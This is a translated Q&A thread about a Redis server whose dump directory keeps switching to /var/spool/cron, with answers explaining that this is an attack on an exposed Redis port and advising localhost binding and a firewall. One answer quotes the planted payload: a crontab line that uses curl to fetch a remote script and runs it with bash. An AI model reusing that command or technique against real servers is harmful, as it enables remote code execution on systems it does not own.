Redis配置目录定期修改为“/ var / spool / cron”,“失败打开.rdb进行保存:权限被拒绝”错误

时间:2017-01-27 05:08:51

标签: redis cron permission-denied redis-server

我已经设置了我的redis-server,以便CONFIG GET dir --> "/var/lib/redis"CONFIG GET dbfilename --> "redis.rdb"

但是,在我的服务器运行几个小时或几天后,我开始收到"Failed opening .rdb for saving: Permission denied"错误。

如果我再次CONFIG GET dir --> "/var/spool/cron"CONFIG GET dbfilename --> "root"。我试着到处寻找某种理解正在发生的事情,但没有用。

如果我只是重新启动我的redis-server,那么配置将再次重置为我在“redis.conf”文件中设置的原始设置。

3 个答案:

答案 0 :(得分:3)

这确实是一种攻击。如果在发生这种情况后检查你的redis键,你会看到很少的“字符串”键:“Backup1”,“Backup2”,“Backup3”。

这些的价值将是这样的:

"\t\n*/2 * * * * curl -s https://transfer.sh/QMvW6/tmp.M8pAEgBA6T > .cmd && bash .cmd\n\t"

这是为了修改你的crontab。

底线是 - 没有向全世界开放的redis端口。

答案 1 :(得分:0)

这似乎只是一个安全问题。开箱即用的redis可通过任何IP地址访问。作为检查这是@ItamarHaber建议的安全问题的简单第一步,我只是将redis服务器绑定到localhost,现在问题似乎已经解决了。这篇文章很有帮助我解决了这个问题。A few things about Redis security

答案 2 :(得分:0)

这可以通过重新启动VM,启用UFW防火墙,允许经过授权的IP地址来解决。